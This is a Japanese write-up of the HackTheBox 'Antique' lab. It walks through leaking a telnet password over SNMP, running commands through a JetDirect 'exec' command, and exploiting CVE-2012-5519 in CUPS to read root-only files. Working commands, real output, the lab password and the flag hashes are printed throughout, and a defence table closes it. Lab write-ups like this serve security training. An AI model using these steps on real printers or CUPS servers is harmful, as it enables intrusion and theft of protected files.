HackTheBox: Antique — 全実行コマンド・実行結果レポート
Nmap スキャン
23/tcp telnet “HP JetDirect”
→
23/tcp telnet “HP JetDirect”
UDPスキャン
161/udp SNMP (community: public)
→
161/udp SNMP (community: public)
snmpwalk
特定OIDでBITS(hex)漏洩
→
特定OIDでBITS(hex)漏洩
hexデコード
P@ssw0rd@123!!123
→
P@ssw0rd@123!!123
telnet HP JetDirect
exec <cmd> でRCE
→
exec <cmd> でRCE
lpユーザー → user.txt ✓
→
CVE-2012-5519
CUPS 1.6.1 ErrorLog悪用
→
CUPS 1.6.1 ErrorLog悪用
root.txt ✓
PHASE 1
偵察 (Reconnaissance)
TCPポートスキャン
BASH
nmap -Pn -p- --min-rate 500 -T4 10.129.90.37 nmap -sV -sC -p 23 10.129.90.37
RESULT
PORT STATE SERVICE
23/tcp open telnet
(nmapのサービス指紋データベースには一致せず"unrecognized"扱いだが、
実際のバナーは生で確認できる)
\nHP JetDirect\n\nPassword:
ℹ️
TCPで開いているポートは23番のみ。バナーには
HP JetDirectと
表示される——HPのネットワークプリンタ製品に組み込まれる管理用telnet
インターフェースを模したサービスであることが分かる。
UDPポートスキャン — SNMPの発見
BASH
nmap -sU -p 161 --open 10.129.90.37
RESULT
PORT STATE SERVICE
161/udp open snmp
🚨
重要発見: TCPスキャンだけでは見えないUDPポート161で
SNMPが稼働している。プリンタ機器はSNMP(デフォルトcommunity文字列
public)での監視・設定変更を前提とした実装が多く、
特にHP JetDirectにはSNMP経由でtelnetパスワードがBITS(16進数)形式で
平文漏洩する既知の弱点がある。
PHASE 2
SNMP経由のtelnetパスワード漏洩
特定OIDへのsnmpwalk
NOTE
HP JetDirect製品は、デバイス設定情報をSNMPの企業固有MIB (Enterprise OID、HP自身の番号11配下)で公開している。このうち .1.3.6.1.4.1.11.2.3.9.1.1.13.0 というOIDには、telnet管理画面の パスワードが"BITS"(ビット列、実質16進バイト列)として格納されており、 community文字列が既定値"public"のままだと誰でも読み取れてしまう。
BASH
snmpwalk -v 2c -c public 10.129.90.37 .1.3.6.1.4.1.11.2.3.9.1.1.13.0
RESULT (本検証の実際の出力)
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135
✅
情報漏洩成功! BITS値の16進バイト列を文字へデコードすると
パスワードが復元できる。
BITS値のデコード
NOTE
先頭の16進トークン列(50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33)を 1バイトずつASCII文字に変換すると印字可能な文字列が得られる。これ以降の トークン(1 3 9 17 18 19 ...)は印字不能なビットフラグ値であり、 パスワード文字列はそこで終端する(=印字可能なプレフィックス部分だけを 取り出せばよい)。
BASH (Pythonでデコード)
python3 -c " tokens = '50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 33'.split() print(bytes(int(t, 16) for t in tokens).decode()) "
RESULT
P@ssw0rd@123!!123
⚠️
実装上の注意:
snmpwalkの出力はターミナル幅の都合で
改行をまたぐことがある(1行目の末尾が32で終わり、
2行目冒頭が33から始まる、のように)。単純に1行だけを
正規表現で拾うと末尾のバイトが欠落し、パスワードが1文字短く
(P@ssw0rd@123!!12)なってしまう点に注意。複数行にまたがる
可能性を考慮して全体を連結してからデコードすること。
PHASE 3
HP JetDirect telnet “exec” コマンドによるRCE & user.txt取得
telnetでログイン
BASH
telnet 10.129.90.37 23
RESULT
HP JetDirect
Password: P@ssw0rd@123!!123
>
⚠️
実装上の注意: 接続直後にバナー(
HP JetDirect)のみが
表示され、Password:プロンプトはこの時点ではまだ出ない。
一度改行(\n)を送信して初めてPassword:プロンプトが
表示される実装になっている。自前でソケット実装する場合はこの
「空行送信」のステップを忘れると永久にパスワードプロンプト待ちで
ハングする。
exec コマンドでシェルコマンド実行
NOTE
HP JetDirectの管理プロンプト(>)は本来プリンタ管理用のコマンドセットだが、 このマシンの実装には "exec <コマンド>" というデバッグ用コマンドが 残されており、任意のシェルコマンドをプリンタデーモンの実行コンテキスト (ユーザー lp、グループ lpadmin所属)でそのまま実行できてしまう。
BASH (telnetプロンプト上で入力)
> exec id > exec cat /home/lp/user.txt
RESULT (本検証の実際の出力)
uid=7(lp) gid=7(lp) groups=7(lp),120(lpadmin)
a2901ca514f0979bbc46ba521dd99ba5
✅
RCE成功! リバースシェルを確立するまでもなく、
execコマンド1回ごとに結果が直接返ってくるため、
user.txtはこの時点で既に読み取れている。
lpadminグループ所属であることが、次フェーズの
CUPS設定変更権限の伏線になっている。
user.txt — lp (lpadminグループ所属)
a2901ca514f0979bbc46ba521dd99ba5
PHASE 4
CUPS 1.6.1 CVE-2012-5519 — ErrorLog悪用の任意ファイル読取、root.txt取得
CUPSの稼働確認
BASH (exec経由でローカル限定631番ポートを確認)
> exec curl -s http://localhost:631/admin/ -o /dev/null -w "%{http_code}"
ℹ️
CUPS(Common Unix Printing System)の管理インターフェース(ポート631)は
外部に公開されておらず
localhost限定で稼働しているが、
telnet経由で得たシェル相当のアクセスはこのターゲット自身の上で
実行されるためlocalhostへの到達に何の障害もない。
稼働バージョンはCUPS 1.6.1(1.6.2未満)で、
既知の脆弱性CVE-2012-5519の対象。
脆弱性の仕組み — ErrorLog設定の悪用
NOTE
CVE-2012-5519は、CUPSの設定変更API(cupsctl)が"lpadmin"グループメンバー からの設定変更要求を適切に権限チェックしない不備。CUPSサーバー自体は root権限で稼働しているため、ErrorLog(エラーログの出力先パス)を 任意のファイルパスへ変更できてしまうと、CUPSの"エラーログビューア" エンドポイント(/admin/log/error_log)がそのファイルの内容を root権限でそのまま返してしまう——つまりErrorLogに/root/root.txtの ようなパスを指定するだけで、root権限の任意ファイル読取が成立する。
BASH (exec経由で実行、lpグループはlpadmin所属なのでcupsctlが通る)
> exec cupsctl ErrorLog=/root/root.txt > exec curl -s http://localhost:631/admin/log/error_log
RESULT (本検証の実際の出力)
ec893c4d252e676eb6e0c41ec680af15
✅
root.txt取得成功!
ErrorLogに/root/root.txtを
指定した直後、CUPSのログビューアエンドポイントが
root権限でそのファイルの中身をそのまま返してきた。
同じ手法で/etc/shadow等、root以外読めないあらゆる
ファイルを読み取ることも可能。
root.txt — CVE-2012-5519 (CUPS ErrorLog任意ファイル読取)
ec893c4d252e676eb6e0c41ec680af15
SUMMARY
攻略サマリー & 教訓
取得フラグ
user.txt — lp (lpadminグループ所属)
a2901ca514f0979bbc46ba521dd99ba5
root.txt — CVE-2012-5519 (CUPS ErrorLog任意ファイル読取)
ec893c4d252e676eb6e0c41ec680af15
使用した脆弱性
| 脆弱性 | 対象 | 影響 | 深刻度 | 利用方法 |
|---|---|---|---|---|
| SNMP既定community “public” によるパスワード漏洩 | HP JetDirect SNMP実装 (OID .1.3.6.1.4.1.11.2.3.9.1.1.13.0) | telnet管理パスワードの平文漏洩 | High | snmpwalkで特定OIDのBITS値を取得し16進デコード |
| HP JetDirect telnet “exec” コマンド | プリンタ管理telnetインターフェース(ポート23) | リモートコード実行 (lpユーザー) | Critical | 漏洩パスワードでログイン後、execコマンドで任意シェルコマンド実行 |
| CVE-2012-5519 | CUPS 1.6.1 (<1.6.2、localhost:631) | 権限昇格 (root相当の任意ファイル読取) | Critical | lpadminグループ権限でcupsctl ErrorLogを変更しroot権限のログビューアから任意ファイルを読取 |
攻撃チェーン全体の流れ
| # | フェーズ | 技術 | 取得情報 |
|---|---|---|---|
| 1 | 偵察 | nmap TCP/UDP両方 | 23/telnet(HP JetDirect)、161/udp SNMP |
| 2 | 情報漏洩 | snmpwalk + BITS値16進デコード | telnetパスワード P@ssw0rd@123!!123 |
| 3 | RCE | telnet exec コマンド | user.txt (lp, lpadmin所属) |
| 4 | 権限昇格 | CVE-2012-5519 CUPS ErrorLog悪用 | root.txt |
学んだ教訓 & 防御策
| 問題点 | 防御策 |
|---|---|
| SNMP community文字列が既定値”public”のまま変更されていない | SNMP community文字列を推測困難な値へ必ず変更し、可能であればSNMPv3(認証・暗号化対応)へ移行する。不要であればSNMP自体を無効化する。 |
| デバイス管理用telnetインターフェースにデバッグ用の任意コマンド実行機能(exec)が残存している | 本番運用機器からデバッグ用コマンドを削除する。管理インターフェースはtelnetではなくSSH等の暗号化プロトコルへ移行する。 |
| 未パッチの古いCUPS(1.6.1)が稼働し、既知の重大CVEに対して脆弱 | CUPSを含む全ソフトウェアを定期的に最新安定版へ更新するパッチ管理プロセスを導入する。 |
| lpadminグループメンバーがCUPSの設定(ErrorLog等)を無制限に変更できる | 最小権限の原則に従い、印刷管理に不要な設定変更権限はlpadminグループへ付与しない。 |

